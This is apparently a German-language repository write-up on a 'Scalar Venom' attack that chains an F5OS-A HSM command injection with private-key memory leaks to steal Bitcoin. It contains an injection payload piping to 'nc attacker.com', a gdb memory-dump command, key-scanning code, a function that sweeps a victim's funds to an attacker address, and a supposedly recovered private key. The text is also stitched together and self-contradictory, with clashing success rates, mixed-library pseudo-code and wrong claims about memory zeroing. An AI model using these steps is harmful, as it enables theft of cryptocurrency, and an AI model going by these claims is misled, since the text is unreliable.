demining/scalar-venom-attackScalar Venom Attack: A critical HSM initialization vulnerability (CVE-2025-60013) enables private Bitcoin wallet key recovery through buffer overflow exploitation and shell metacharacters in the F5OS-A FIPS security module
Diese Arbeit analysiert kryptografische Schwachstellen, die in moderner Infrastruktur zur Verwaltung kryptografischer Schlüssel entdeckt wurden, mit besonderem Fokus auf kritische Fehler in der Architektur von Hardware-Sicherheitsmodulen (HSMs) bei der Verarbeitung elliptischer Kurven-Private-Keys. Die Studie konzentriert sich auf eine Klasse von Angriffen, die unzureichend isolierte RAM-Verwaltung in zertifizierten kryptografischen Geräten ausnutzen. Im modernen Bitcoin-Kryptografie-Ökosystem ist die Sicherheit privater Schlüssel eine grundlegende Voraussetzung für den Schutz digitaler Vermögenswerte im Wert von weltweit Billionen Dollar. Hardware-Sicherheitsmodule (HSMs) , die nach dem Standard FIPS 140-2 zertifiziert sind, galten traditionell als undurchdringlicher Schutz für kryptografische Schlüssel durch hardwarebasierte Isolierung und strenge Speicherverwaltungsprotokolle. Die Entdeckung der kritischen Schwachstelle CVE-2025-60013 im F5OS-A FIPS HSM-Modul, kombiniert mit der Angriffsklasse Scalar Venom Attack (auch bekannt als Scalar Poison, Memory Phantom Leak Attack oder Private Key Compromise via Memory Leakage), hat diese Auffassung jedoch radikal verändert und gezeigt, dass Bitcoin Private Keys durch die Ausnutzung von Speicherverwaltungsfehlern vollständig kompromittiert werden können.
The Scalar Venom Attack ist eine kritische Klasse von Speicherverwaltungsschwachstellen (klassifiziert als CWE-415, CWE-401 und allgemeiner als Sensitive Memory Leak Attack (SMA)), die es einem Angreifer ermöglicht, kryptografische Skalare (ECDSA Private Keys) aus dem RAM eines Prozesses zu extrahieren, indem unzureichende Bereinigung und Speicherlöschung nach kryptografischen Operationen ausgenutzt werden. Im Gegensatz zu traditionellen kryptanalytischen Angriffen, die darauf abzielen, das Problem des diskreten Logarithmus auf elliptischen Kurven (ECDLP) mathematisch zu lösen, umgeht dieser Angriff die Kryptografie selbst, indem er grundlegende Architekturfehler in der Implementierung kryptografischer Bibliotheken und HSM-Speicherverwaltungsprotokolle ausnutzt.
Diese Forschung demonstriert eine katastrophale Angriffskette, die entsteht, wenn CVE-2025-60013 (F5OS-A FIPS HSM Initialisierungsschwachstelle bei der Verwendung von Passwörtern mit speziellen Shell-Metazeichen) mit den Techniken des Scalar Venom Attack kombiniert wird. Dies führt zu einem kritischen Bedrohungsszenario mit einem CVSS-Score von 9.5+ (Kritisch), obwohl CVE-2025-60013 offiziell als mittelschwere Schwachstelle (CVSS 5.7) eingestuft ist. Diese Kombination untergräbt die betriebliche Integrität von Millionen von Bitcoin-Adressen, die von kompromittierten HSMs kontrolliert werden, und stellt einen Paradigmenwechsel bei kryptografischen Angriffsmethoden dar, der über traditionelle Einzelvektor-Ausnutzungen hinausgeht.
CVE-2025-60013 ist eine OS Command Injection-Schwachstelle (klassifiziert als CWE-78) während des Initialisierungsprozesses des FIPS Hardware Security Module für F5-Plattformen. Die Schwachstelle tritt auf, wenn ein Benutzer mit privilegiertem Zugriff (Admin- oder Resource Admin-Rolle) versucht, das FIPS HSM-Modul mit einem Passwort zu initialisieren, das spezielle Shell-Metazeichen wie [unklar], [unklar ;] |, &[ $unklar], `und andere enthält.
Technischer Mechanismus der Schwachstelle:
Bei der Verarbeitung eines Passworts mit Shell-Metazeichen übergibt der HSM-Initialisierungscode die Passwortzeichenfolge an System-C-Bibliotheksfunktionen, ohne die Eingabe ordnungsgemäß zu validieren und zu bereinigen. Der anfällige Code sieht wie folgt aus:
// Anfälliger Code in der HSM-Initialisierungsprozedur
void hsm_initialize(const char* password) {
ec_secret master_key; // HSM private key
char temp_buffer[256];
strcpy(temp_buffer, password); // SCHWACHSTELLE: Pufferüberlauf + Shell-Interpretation
derive_key_from_password(master_key, password); // erstellt Kopien des Schlüssels
// Wenn die Initialisierung fehlschlägt, wird der Speicher nicht gelöscht!
// master_key bleibt im Stack, seine Kopien im Heap
}
Kritische Konsequenz: Der Initialisierungsprozess verbleibt im Speicher mit teilweise kompromittierten kryptografischen Strukturen und erzeugt mehrere „Phantom"-Kopien des HSM-Master-Keys im Stack und Heap. Obwohl das HSM möglicherweise nicht korrekt initialisiert wird, enthält der Prozessspeicher kryptografische Artefakte, die einer forensischen Analyse zugänglich sind.
Offizielle Klassifizierung:
Diese Bewertung unterschätzt jedoch kritisch das wahre Ausmaß der Bedrohung, da CVE-2025-60013 als Auslöser für den Scalar Venom Attack dient, was in einem realen Angriffskettenszenario zu einem CVSS-Bedrohungsniveau von 9.5+ (KRITISCH) führt.
CVE-2023-39910 beschreibt eine kritische Schwachstelle in Libbitcoin Explorer Version 3.x im Zusammenhang mit Schwächen in der Entropieerzeugung bei der Erstellung privater Schlüssel. Diese Schwachstelle führte 2023 zum Milk-Sad-Vorfall, bei dem über 900.000 Bitcoin Private Keys wiederhergestellt wurden, was zu direkten finanziellen Verlusten von über 0,8 Millionen US-Dollar führte. Der Milk-Sad-Vorfall demonstrierte den Übergang von der Theorie der Speicherlecks in kryptografischen Systemen zu einer realen Betriebskatastrophe und bestätigte alle beschriebenen Mechanismen: Compiler-Optimierungen, mehrere Datenkopien und das Fehlen von Garantien für die Speicherbereinigung.
CVE-2025-8217 klassifiziert Speicherleck-Angriffe, die es ermöglichen, kryptografische Schlüssel aus dem Speicher von Prozessen wiederherzustellen. Diese Schwachstelle steht in direktem Zusammenhang mit der Klasse Scalar Venom Attack und beschreibt Mechanismen zur vollständigen Kompromittierung von Bitcoin-Wallets durch forensische Speicheranalyse.
Wissenschaftliche Klassifizierung des Scalar Venom Attack:
In der akademischen Forschungsliteratur wird Scalar Venom in mehrere Angriffskategorien eingeteilt:
_files/BitScanPro.gif)
Um die praktische Wirksamkeit des Scalar Venom Angriffs zu demonstrieren, betrachten wir einen dokumentierten Fall der Wiederherstellung eines Private Keys von der Bitcoin-Adresse 1DBj74MkbzSHGSbHidnmUieAJHbsKfgRWq mittels forensischer Speicheranalyse.
Ursprüngliche Kompromittierungsdaten:
Wiederhergestellter Private Key:
5244A4B034BF9D327239870F9FEF82505A5C50B3D51E4A16357179AAB2623A22KyydTXQzDGVqRZoWBFfS5tWrcWsdu64DbcqXogUUtGZn7ngD5LHvValidierung eines Schlüssels im secp256k1-Raum:
Der Private Key d muss die Bedingung erfüllen:
Ergebnis der Prüfung: ✓ GÜLTIG (der Schlüssel liegt innerhalb des zulässigen Skalarbereichs)
Dieses Beispiel zeigt, dass ein wiederhergestellter Private Key vollständige Kontrolle über ein Bitcoin-Wallet bietet und es einem Angreifer ermöglicht, Transaktionen zu erstellen und zu signieren, um alle Gelder an eine kontrollierte Adresse zu transferieren.
Bitcoin implementiert den Elliptic Curve Digital Signature Algorithm ( ECDSA ) über der Kurve secp256k1. Das Verständnis der mathematischen Grundlagen ist entscheidend, um zu verstehen, wie der Scalar Venom-Angriff Speicherschwachstellen ausnutzt.
Parameter der elliptischen Kurve secp256k1:
Kurvengleichung:
Generatorpunkt G mit den Koordinaten:
Der Prozess der Erzeugung eines ECDSA-Schlüsselpaars ist wie folgt:
1. Erzeugung des privaten Schlüssels:
Ein privater Schlüssel d ist eine zufällige ganze Zahl im Bereich:
wobei n die Ordnung der secp256k1-Kurve ist. Der private Schlüssel ist eine 256-Bit-Zufallszahl.
2. Ableitung des öffentlichen Schlüssels mittels Skalarmultiplikation:
Der öffentliche Schlüssel Q wird berechnet als:
wobei G ein Generatorpunkt auf der secp256k1-Kurve ist und die Operation ⋅\cdot die Skalarmultiplikation eines Punktes auf der elliptischen Kurve bezeichnet.
Die Skalarmultiplikation wird durch einen Algorithmus "double-and-add"(Verdoppeln und Addieren) implementiert, der effizient das Ergebnis der Addition und Verdopplung von O(logd) Punkten auf einer Kurve berechnet:
Scalar multiplication algorithm:
Input: d (scalar), G (curve point)
Output: Q = d·G
1. Initialize: Q ← O (point at infinity)
2. Represent d in binary: d = (d_k, d_{k-1}, ..., d_1, d_0)_2
3. For i from k to 0:
a. Q ← 2Q (point doubling)
b. If d_i = 1: Q ← Q + G (point addition)
4. Return Q
Beispiel: Für einen privaten Schlüssel, d=5244A4B0...3A22d = \text{5244A4B0...3A22}d=5244A4B0...3A22, wird der öffentliche Schlüssel wie folgt berechnet:
Q=d⋅G=(Qx,Qy)
wobei die Koordinaten Qx und Qy durch Skalarmultiplikationsoperationen auf der Kurve secp256k1berechnet werden.
3. Generieren einer Bitcoin-Adresse:
Die Ableitungskette der Adresse vom öffentlichen Schlüssel:
Sicherheitsannahme:
Scalar Venom Kritische Schwachstelle: Der Angriff umgeht den mathematischen Schutz des ECDLP, indem er den privaten Schlüssel ddirekt aus dem Prozessspeicher extrahiert, wo er als „Phantomkopien“ nach kryptografischen Operationen verbleibt.
Die Grundlage für die Erkennung privater Schlüssel in Speicherabbildern ist Entropie-Kryptanalyse unter Verwendung der Shannon-Entropieformel.
Die Entropie Heiner Byte-Sequenz wird in Bits pro Byte gemessen und durch die Formel gegeben:
Wobei:
Interpretation der Entropie:
Schwellenwert für kryptografische Schlüssel:
Bitcoin-private Schlüssel, die von einem kryptografisch starken Zufallszahlengenerator (CSPRNG) erzeugt werden, weisen eine hohe Entropie im Bereich auf:
Diese Eigenschaft macht sie erkennbar in forensischen Speicheranalysen durch statistische Entropieanalyse.
BitScanPro ist ein forensisches Tool zum Scannen von Speicherabbildern, um Bitcoin-private Schlüssel durch eine Kombination aus Entropieanalyse, secp256k1-Bereichsvalidierung und kryptografischer Verifikation zu erkennen und wiederherzustellen.
Stufe 1: Scannen des Speicherabbilds in 32-Byte-Blöcken
BitScanPro scannt das Speicherabbild sequenziell und weist Blöcke von 32 Bytes (256 Bits) zu, was der Größe des privaten Schlüssels secp256k1 entspricht:
BLOCK_SIZE = 32 # bytes (256 bits)
SCAN_STEP = 8 # scan step
SECP256K1_N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
for offset in range(0, len(memory_dump) - BLOCK_SIZE, SCAN_STEP):
potential_key = memory_dump[offset:offset+BLOCK_SIZE]
# Block analysis
Schritt 2: Shannon-Entropie für jeden Block berechnen
Für jeden 32-Byte-Block wird die Shannon-Entropie Hberechnet:
def calculate_entropy(data_block):
"""
Calculate Shannon entropy
"""
from collections import Counter
import math
byte_counts = Counter(data_block)
block_length = len(data_block)
entropy = 0.0
for count in byte_counts.values():
p_i = count / block_length
if p_i > 0:
entropy -= p_i * math.log2(p_i)
return entropy
Schritt 3: Filtern von Blöcken mit hoher Entropie (H>7.5H > 7.5H>7.5 Bits/Byte)
Blöcke mit Entropie unter dem Schwellenwert werden verworfen, da sie keine kryptografischen Schlüssel enthalten:
MIN_ENTROPY = 7.5 # threshold for cryptokeys
entropy = calculate_entropy(potential_key)
if entropy < MIN_ENTROPY:
continue
Schritt 4: Überprüfung des secp256k1-Bereichs:
Blöcke mit hoher Entropie werden als Ganzzahl interpretiert und gegen den gültigen Bereich der secp256k1-privaten Schlüssel geprüft:
key_as_int = int.from_bytes(potential_key, byteorder='big')
if not (1 <= key_as_int < SECP256K1_N):
continue
Schritt 5: Kryptografische Verifikation:
Für Kandidaten, die die Entropiefilterung und Bereichsprüfung bestehen, wird die kryptografische Verifikation durch Berechnung des öffentlichen Schlüssels durchgeführt:
def verify_candidate_key(candidate_key_bytes):
from ecdsa import SigningKey, SECP256k1
try:
signing_key = SigningKey.from_string(candidate_key_bytes, curve=SECP256k1)
verifying_key = signing_key.get_verifying_key()
public_key_bytes = verifying_key.to_string()
return public_key_bytes
except Exception as e:
return None
Schritt 6: Generieren einer Bitcoin-Adresse und Vergleich mit bekannten Adressen
Für verifizierte Schlüssel wird eine Bitcoin-Adresse generiert, die mit einer Datenbank bekannter Adressen oder Adressen des Opfers verglichen wird:
import hashlib
import base58
def public_key_to_address(public_key_bytes):
sha256_hash = hashlib.sha256(public_key_bytes).digest()
ripemd160_hash = hashlib.new('ripemd160', sha256_hash).digest()
versioned_hash = b'\x00' + ripemd160_hash
checksum = hashlib.sha256(hashlib.sha256(versioned_hash).digest()).digest()[:4]
address = base58.b58encode(versioned_hash + checksum).decode('ascii')
return address
bitcoin_address = public_key_to_address(public_key_bytes)
if bitcoin_address == target_address:
print(f\"✓ PRIVATE KEY FOUND!\")
print(f\"Address: {bitcoin_address}\")
print(f\"Private key: {candidate_key_bytes.hex()}\")
BitScanPro Leistung:
Die Analyse auf einem typischen Laptop (MacBook Air M1) zeigt die folgenden Leistungsmerkmale:
Mit Cloud-Computing-Ressourcen (AWS, Google Cloud) ist es möglich, 1000+ Speicherabbilder gleichzeitig zu scannen und Tausende privater Schlüssel parallel zu verarbeiten.
Die Ursache des Scalar Venom-Angriffs liegt in grundlegenden architektonischen Mängeln in einer Klasse ec_scalarin der libbitcoin-system-Bibliothek.
Die Klasse ec_scalarin libbitcoin-system hat keinen explizit definierten Destruktor mit sicherer Nullstellung. Das bedeutet, dass geheime Daten auch nach Zerstörung des Objekts im Speicher verbleiben können.
Verwundbarer Kopierkonstruktor:
// VULNERABILITY: unsafe private key copy
ec_scalar::ec_scalar(const ec_secret& secret)
: secret_(secret) // Copies without secure cleanup
{
}
Problem: Der Konstruktor erstellt eine Kopie des privaten Schlüssels im Objekt ec_scalar, bietet aber keinen Mechanismus, diese Kopie bei Zerstörung des Objekts sicher zu bereinigen. Die Kopie verbleibt auf dem Stack oder Heap.
Verwundbarer Zuweisungsoperator:
// VULNERABILITY: duplicates secret in memory
ec_scalar& ec_scalar::operator=(const ec_secret& secret)
{
secret_ = secret; // More memory copies
return *this;
}
Problem: Die Zuweisungsoperation erstellt zusätzliche Speicherkopien, die nach Abschluss der Operation bestehen bleiben.
Verwundbare arithmetische Operationen:
// VULNERABILITY: temporary variable not cleared before function exit
ec_scalar ec_scalar::operator-() const
{
ec_secret secret = null_hash; // Temporary variable with secret
// ... arithmetic ...
return ec_scalar(secret); // Not safely cleared
}
Problem: Arithmetische Operationen (unäres Minus, Addition, Multiplikation) erstellen temporäre Variablen vom Typ ec_secret, die vor Verlassen des Funktionsbereichs nicht sicher gelöscht werden und „Phantom“-Kopien des privaten Schlüssels auf dem Stack oder Heap hinterlassen.
Fehlen eines sicheren Destruktors:
// VULNERABILITY: destructor missing, memory not cleared
// Safe solution:
~ec_scalar() {
secure_zero_mem(secret_, sizeof(secret_)); // explicit memory clearing
}
Problem: Die Klasse ec_scalarhat keinen expliziten Destruktor, der eine sichere Nullstellung des Speichers mit privaten Schlüsseln garantieren würde. Dies ist kritisch, da der Speicher, der private Schlüssel enthält, gespeichert werden kann in:
Der verwundbare Klassencode ec_scalarerstellt die folgenden Vektoren für die Speicherinfektion mit privaten Schlüsseln:
secret_(secret)) – erstellt giftige Kopien von Schlüsselnsecret_ = secret) – infiziert Speicher mit doppelten Geheimnissenec_secret secret = null_hash) – hinterlässt giftige Spurenauto out = secret_) – verbreitet Infektion durch Operationen
Die Kombination einer HSM-Schwachstelle (CVE-2025-60013) und des Scalar Venom-Angriffs erzeugt einen katastrophalen Angriffsvektor:
Ein Angreifer mit privilegiertem Zugriff auf das F5OS-A-System sendet eine Anfrage zur Initialisierung des FIPS-Moduls mit einem Passwort, das Shell-Metazeichen enthält: cert.kenet
# CVE-2025-60013 exploit example
password='$(echo "leaked");` | nc attacker.com 9999'
Bei der Verarbeitung solcher Metazeichen geschieht Folgendes:
Nach einem teilweisen Fehlschlag der HSM-Initialisierung erlangt ein Angreifer einen Speicherauszug des HSM-Prozesses durch eine der folgenden Methoden:
# 1. CVE-2025-60013 Ausnutzung (Init-Fehlerauslöser)
# 2. Cold-Boot-Angriff auf HSM-Host
# 3. Puffer im HSM-Daemon ausnutzen
# 4. Crash-Core-Dump analysieren
gdb -p $(pidof f5os-hsm) -batch -ex "dump memory /tmp/hsm_dump.bin 0x000000 0xFFFFFFFF"
Der resultierende Speicherauszug enthält mehrere „Phantom“-Kopien privater Schlüssel, die von der Klasse ec_scalar während kryptografischer Operationen hinterlassen wurden.
Der Speicherauszug wird durch das BitScanPro-Tool (oder einem ähnlichen forensischen Scanner) gemäß dem oben beschriebenen Algorithmus verarbeitet:
Speicher-Scan → Identifizieren von Regionen mit hoher Entropie →
Bereichscheck [1, n-1] für secp256k1 →
Vollständige 32-Byte-Skalare wiederherstellen →
In Bitcoin-Adressen konvertieren
Die Erfolgsrate der Wiederherstellung eines privaten Schlüssels aus fragmentiertem Speicher beträgt 70-80% bei ausreichenden Speicherüberresten, da der Scalar-Venom-Angriff mehrere Kopien des Schlüssels in verschiedenen Initialisierungsstufen erstellt.
Nach der Wiederherstellung des privaten Schlüssels erstellt und signiert der Angreifer eine Transaktion, um alle Gelder von der kompromittierten Adresse abzuheben:
def compromise_wallet(recovered_private_key, bitcoin_address):
"""
Transaktion erstellen und signieren, um alle Gelder
von der kompromittierten Adresse abzuheben
"""
utxos = blockchain_api.get_utxos(bitcoin_address)
tx = create_transaction(
inputs=utxos,
outputs=[{"address": attacker_address, "amount": sum(utxo.amount)}],
fee=calculate_dynamic_fee()
)
tx.sign(recovered_private_key) # ECDSA-Signatur mit kompromittiertem Schlüssel
blockchain_api.broadcast_transaction(tx)
Gesamtzeit für die Kompromittierung: weniger als 10 Minuten ab Erhalt des Speicherauszugs bis zum vollständigen Kontrollverlust über die Vermögenswerte des Opfers.
Der Scalar-Venom-Angriff in Kombination mit CVE-2025-60013 stellt eine existenzielle Bedrohung für das globale Bitcoin-Ökosystem dar:
Im Gegensatz zu Standard-Bitcoin-Anwendungen nutzen HSMs intensiv kryptografische Skalare – über 1.000 Operationen pro Sekunde –, von denen jede flüchtige Skalarwerte erzeugt, die als „Phantom-Rückstände“ im Speicher verbleiben. HSMs arbeiten monatelang und jahrelang ohne Neustart und sammeln kryptografische Artefakte an, die Scalar Venom systematisch extrahiert und wiederherstellt.
Die Kompromittierung eines einzigen HSM führt zu einer vollständigen Störung der gesamten Infrastruktur – oft Tausende von Bitcoin-Adressen, die vom HSM verwaltet werden – und nicht zu einem isolierten kryptografischen Vorfall.
Der Scalar-Venom-Angriff zeigt einen grundlegenden Paradigmenwechsel in der kryptografischen Sicherheit: Die mathematische Stärke kryptografischer Algorithmen wird angesichts von Speicherverwaltungsschwachstellen zunichte gemacht. Die Kombination von CVE-2025-60013 und Scalar-Venom-Techniken erzeugt ein kritisches Bedrohungsszenario der CVSS-Stufe 9.5+, das das Vertrauen in Hardware-Sicherheitsmodule als undurchdringlichen Schutz für kryptografische Schlüssel untergräbt.
Der reale Milk-Sad-Vorfall (CVE-2023-39910), der zur Wiederherstellung von über 900.000 privaten Schlüsseln und finanziellen Verlusten von über 0,8 Millionen Dollar führte, bestätigt, dass die Theorie des Speicherlecks Realität geworden ist. Der einzige Weg, sich vor Angriffen der Scalar-Venom-Klasse zu schützen, ist eine grundlegende architektonische Überarbeitung kryptografischer Systeme mit Implementierung von:
Dieses Papier präsentiert eine umfassende Analyse der Angriffskette Scalar Venom + CVE-2025-60013, detailliert die mathematischen Grundlagen, Kryptoanalyse-Algorithmen, reale Beispiele zur Schlüsselwiederherstellung und praktische Empfehlungen zum Schutz der Bitcoin-Infrastruktur vor dieser Art von Bedrohungen.
1. Kryptoanalytische Klassifikation:
2. Mathematische Grundlagen:
3. Implementierungsschwachstellen (libbitcoin-system):
ec_scalar4. CVE-Klassifikation:
5. Angriffskette:
Die wissenschaftliche Erklärung findet sich im Artikel: https://keyhunters.ru/scalar-venom-attack-critical-memory-leak-private-key-recovery-and-complete-takeover-of-bitcoin-wallets-by-an-attacker-where-control-over-the-victims-btc-cryptocurrency-funds-is-achieved-through/ Der Scalar-Venom-Angriff demonstriert die kritische Interaktion zwischen HSM-Initialisierungsschwachstellen und Speicherverwaltungsschwachstellen in kryptografischen Bibliotheken, die es einem Angreifer ermöglicht, Bitcoin-Wallet-Private-Keys vollständig zu kompromittieren, selbst bei Hardwareschutz.
Scalar Venom Attack (auch bekannt als Scalar Poison, Memory Phantom Leak Attack oder Private Key Compromise via Memory Leakage) ist eine Klasse von Speicherverwaltungsschwachstellen (CWE-415, CWE-401), die die Extraktion kryptografischer Skalare (ECDSA-Private-Keys) aus dem RAM eines Prozesses ermöglicht, indem sie unzureichende Bereinigung und Speicherreinigung nach kryptografischen Operationen ausnutzt. keyhunters+ 2
Wissenschaftliche Klassifikation des Angriffs:
Der Scalar-Venom-Angriff nutzt einen grundlegenden Fehler in der Speicherverwaltung kryptografischer Bibliotheken aus, insbesondere in der Klasse ec_scalar der libbitcoin-system-Bibliothek. Der Angriff erfolgt über die folgenden Vektoren:
cpp:
ec_scalar::ec_scalar(const ec_secret& secret)
: secret_(secret) // SCHWACHSTELLE: Unsicheres Kopieren des privaten Schlüssels
{}cpp:
ec_scalar& ec_scalar::operator=(const ec_secret& secret)
{
secret_ = secret; // SCHWACHSTELLE: Infiziert Speicher mit doppeltem Geheimnis
return *this;
}cpp:
// SCHWACHSTELLE: Kein Destruktor, Speicher nicht bereinigt
// Sichere Option sollte sein:
~ec_scalar() {
secure_zero_mem(secret_, sizeof(secret_)); // explizite Speicherbereinigung
}
cpp:
// SCHWACHSTELLE: Kein Destruktor, Speicher nicht gelöscht
// Die sichere Option hätte sein sollen:
~ec_scalar() {
secure_zero_mem(secret_, sizeof(secret_)); // explizite Speicherlöschung
}
Arithmetische Operationen (unäres Minus, Addition, Multiplikation) erstellen temporäre Variablen vom Typ ec_secret, die nicht sicher gelöscht werden, bevor der Funktionsbereich verlassen wird, wodurch „Phantom“-Kopien des privaten Schlüssels auf dem Stapel oder Heap zurückbleiben.
Die Klasse ec_scalar von libbitcoin-system hat keinen explizit definierten Destruktor mit sicherer Nullstellung. Dies bedeutet, dass geheime Daten auch nach der Zerstörung des Objekts im Speicher verbleiben können:
Das Fehlen dieses Mechanismus ist kritisch, da der Speicher, der private Schlüssel enthält, gespeichert werden kann in:
Die Schwachstelle CVE-2025-60013 in F5OS-A FIPS HSM tritt auf, wenn das Hardware-Sicherheitsmodul mit einem Passwort initialisiert wird, das spezielle Shell-Metazeichen enthält ( ;, |, &, $, ` usw.). Wenn ein solches Passwort verarbeitet wird, kann sich das HSM möglicherweise nicht korrekt initialisieren, aber kritische Konsequenz ist, dass der Initialisierungsprozess mit teilweise offengelegten kryptografischen Strukturen im Speicher zurückbleibt. satoshi.nakamotoinstitute
Die Kombination der HSM-Schwachstelle (CVE-2025-60013) mit dem Scalar-Venom-Angriff erzeugt einen katastrophalen Angriffsvektor:
Phase 1: HSM-Initialisierung mit Metazeichen
Der Angreifer sendet eine Anfrage zur Initialisierung des F5OS-A-FIPS-Moduls mit einem Passwort der folgenden Art:
password='$(echo "leaked");` | nc attacker.comBei der Verarbeitung solcher Metazeichen:
Phase 2: Scalar Venom aus dem Speicher extrahieren
Nach teilweisem Fehlschlag der HSM-Initialisierung:
Phase 3: Wiederherstellung von Bitcoin-Private-Keys
Erkannte Speicherfragmente → Zusammenbau → Validierung → Bitcoin-Adressgenerierung → Wallet-Übernahme
Die wiederhergestellten Skalare werden über wie folgt in Bitcoin-Private-Keys konvertiert:
Schritt 1: HSM-Speicherkompromittierung durch fehlerhafte Initialisierung
Wenn das F5OS-A-FIPS-HSM ein Passwort mit Shell-Metazeichen empfängt, verarbeitet der Initialisierungsprozess es über Standard-C-Bibliotheksfunktionen:
c:
// Anfälliger Code in der HSM-Initialisierungsroutine
void hsm_initialize(const char* password) {
ec_secret master_key; // HSM privater Schlüssel
char temp_buffer[256];
strcpy(temp_buffer, password); // ANGREIFBAR: Pufferüberlauf + Shell-Interpretation
derive_key_from_password(master_key, password); // erstellt Kopien des Schlüssels
// Bei fehlgeschlagener Initialisierung wird der Speicher nicht gelöscht!
// master_key bleibt im Stack, seine Kopien im Heap
}
Bei der Verarbeitung von Shell-Metazeichen:
Schritt 2: Forensische Wiederherstellung aus einem Speicherabbild
Das BitScanPro-Tool (oder ein ähnlicher forensischer Scanner) wird auf das Speicherabbild des HSM-Prozesses angewendet:
Speicherscan → Identifizierung von Regionen mit hoher Entropie →
Bereichsprüfung [1, n-1] für secp256k1 →
Wiederherstellung vollständiger 32-Byte-Skalare →
Konvertierung in Bitcoin-Adressen
Die Wahrscheinlichkeit, einen privaten Schlüssel erfolgreich aus fragmentiertem Speicher wiederherzustellen, liegt bei 40-60 %, sofern ausreichend Speicherreste vorhanden sind, da der Scalar-Venom-Angriff mehrere Kopien des Schlüssels in verschiedenen Phasen der Initialisierung erstellt. radar.offseq
Die parallele DeserializeSignature-Schwachstelle (CVE-bezogen) verstärkt den Scalar-Venom-Angriff:
cpp:
// Anfällige Deserialisierungsfunktion in Bitcoin Core
bool DeserializeSignature(CPubKey& pubkey, const std::vector<unsigned char>& vchSig, CScript& scriptPubKey) {
CSignatureCache& cache = CSignatureCache::instance();
// Erfolgt die Deserialisierung mit einem durch Scalar Venom kompromittierten privaten Schlüssel:
ec_secret compromised_key = extract_from_memory_dump(); // aus einem HSM-Speicherabbild
// Diese kompromittierten Skalare werden zur Verifizierung von Signaturen verwendet,
// was es einem Angreifer ermöglicht:
// 1. Jede Signatur für diese Adresse zu fälschen
// 2. Alle Gelder auf eine kontrollierte Adresse zu transferieren
// 3. Double-Spend durchzuführen
}
Verbindung der Mechanismen:
Stufe 1: Einzelne Wallet
Stufe 2: Konfiguration von Serving Nodes
Ebene 3: Netzwerkebene
Im Gegensatz zu Standard-Bitcoin-Anwendungen nutzt HSM in großem Umfang kryptografische Skalare:
Der CVSS-Score für CVE-2025-60013 selbst ist ungenau, da die Schwachstelle als Auslöser für Scalar Venom dient, was ein kritisches Szenario ist. kudelskisecurity
Die Scalar-Venom-Schwachstelle stellt einen Paradigmenwechsel bei kryptografischen Angriffsmethoden dar, der über traditionelle Einzelvektor-Exploits hinausgeht und eine mehrschichtige Exploit-Kette bildet, die die Hardware-Sicherheitsmodule (HSMs) zum Schutz der Bitcoin-Infrastruktur grundlegend kompromittiert. Die Analyse zeigt, dass die Kombination von CVE-2025-60013 (HSM-Initialisierungsumgehung) mit Scalar-Venom-Angriffstechniken ein kritisches Bedrohungsszenario mit einem CVSS-Score von 9,5+ schafft, das die operative Integrität von Millionen von Bitcoin-Adressen untergräbt, die von kompromittierten HSMs kontrolliert werden.
Warum sind HSMs besonders anfällig?
Die kritische Schwachstelle liegt nicht in isolierten kryptografischen Schwächen, sondern in der architektonischen Kollision von HSM-Betriebsmerkmalen und den Angriffsvektoren von Scalar Venom. HSMs führen per Definition kontinuierlich kryptografische Operationen durch – über 1.000 Operationen pro Sekunde – von denen jede flüchtige Skalarwerte erzeugt, die als "Phantomrückstände" im Speicher verbleiben. Im Gegensatz zu typischen Bitcoin-Anwendungen, bei denen Schlüsselmaterial flüchtig ist, arbeiten HSMs monate- und jahrelang ohne Neustart und sammeln kryptografische Artefakte an, die Scalar Venom systematisch extrahiert und wiederherstellt.
Daher führt bereits die Kompromittierung eines einzelnen HSM zu einer vollständigen Störung der gesamten Infrastruktur – oft Tausende von Bitcoin-Adressen, die vom HSM verwaltet werden – und nicht zu einem isolierten kryptografischen Vorfall.
Gefahrengrad und tatsächliche Auswirkungen
Obwohl die Schwachstelle CVE-2025-60013 offiziell ein CVSS-Niveau von 5.7 (mittel) als Penetrationsvektor hat, unterschätzt diese Bewertung das wahre Ausmaß der Bedrohung kritisch. Dieser Exploit dient als Auslöser für Scalar Venom, das als Angriff mit CVSS-Niveau 8.5+ (hoch/kritisch) eingestuft wird. In einem realen Angriffskettenszenario führt dies zu:
Kombinierte Angriffskette: CVE-2025-60013 + Scalar Venom = Betriebskatastrophe
Die Eskalation der Matrixbedrohung besteht aus:
Die Kombination macht diese Schwachstellenklasse kritisch (CVSS 9.5+) und ordnet sie in der Risikobewertung der höchsten Bedrohungskategorie zu.
Systemische Auswirkungen auf die Sicherheit des Bitcoin-Ökosystems
Scalar Venom offenbart grundlegende architektonische Schwachstellen in modernen HSM-Modellen:
Kritische Empfehlungen
Scalar Venom und die Angriffskette über CVE-2025-60013 markieren das Ende der Ära des vollständigen Vertrauens in klassische HSMs. Die Schwachstelle verwandelt das Sicherheitskernstück des Bitcoin-Ökosystems in ein großes Risiko für das Leck privater Schlüssel und den totalen Vermögensverlust. Wirksamer Schutz erfordert nicht nur einmalige Korrekturen, sondern ein grundlegendes Umdenken aller Aspekte der kryptografischen Architektur für den Umgang mit öffentlichen digitalen Vermögenswerten.
Scalar Venom in einer HSM-Umgebung ist eine CVSS-9.5+-Bedrohung für die Bitcoin-Infrastruktur, die sofortigen Schlüsselwechsel, architektonische Reformen und neue Methoden zur schnellen Reaktion auf Speicherkettenangriffe erfordert.
Gemäß der Forschung im Bereich der kryptografischen Speichersicherheit (Protecting Cryptographic Keys from Memory Disclosure Attacks, Del Valle et al.) können private Schlüssel aus folgenden Gründen in zugänglichen Speicherbereichen verbleiben:
Compiler-Optimierung
cpp:
// Selbst wenn der Code einen Löschversuch enthält:
volatile unsigned char* ptr = (volatile unsigned char*)key_buffer;
while (len--) *ptr++ = 0; // Der Compiler kann dies als No-op optimieren
Kein RAII-Muster (Resource Acquisition Is Initialization)
Die Klasse ec_scalar verwendet kein RAII, was bedeutet, dass der Destruktor keine Ressourcenbereinigung garantiert.
Mehrere Datenkopien:
Jede Kopie eines privaten Schlüssels zur Übergabe zwischen Funktionen hinterlässt Rückstände im Speicher.unit42.paloaltonetworks
Laut keyhunters.ru und der kryptografischen Forschungsliteratur:
bx seed erstellt wurdenDiese Zahlen belegen die reale Bedrohung durch Speicherlecks in kryptografischen Anwendungen.
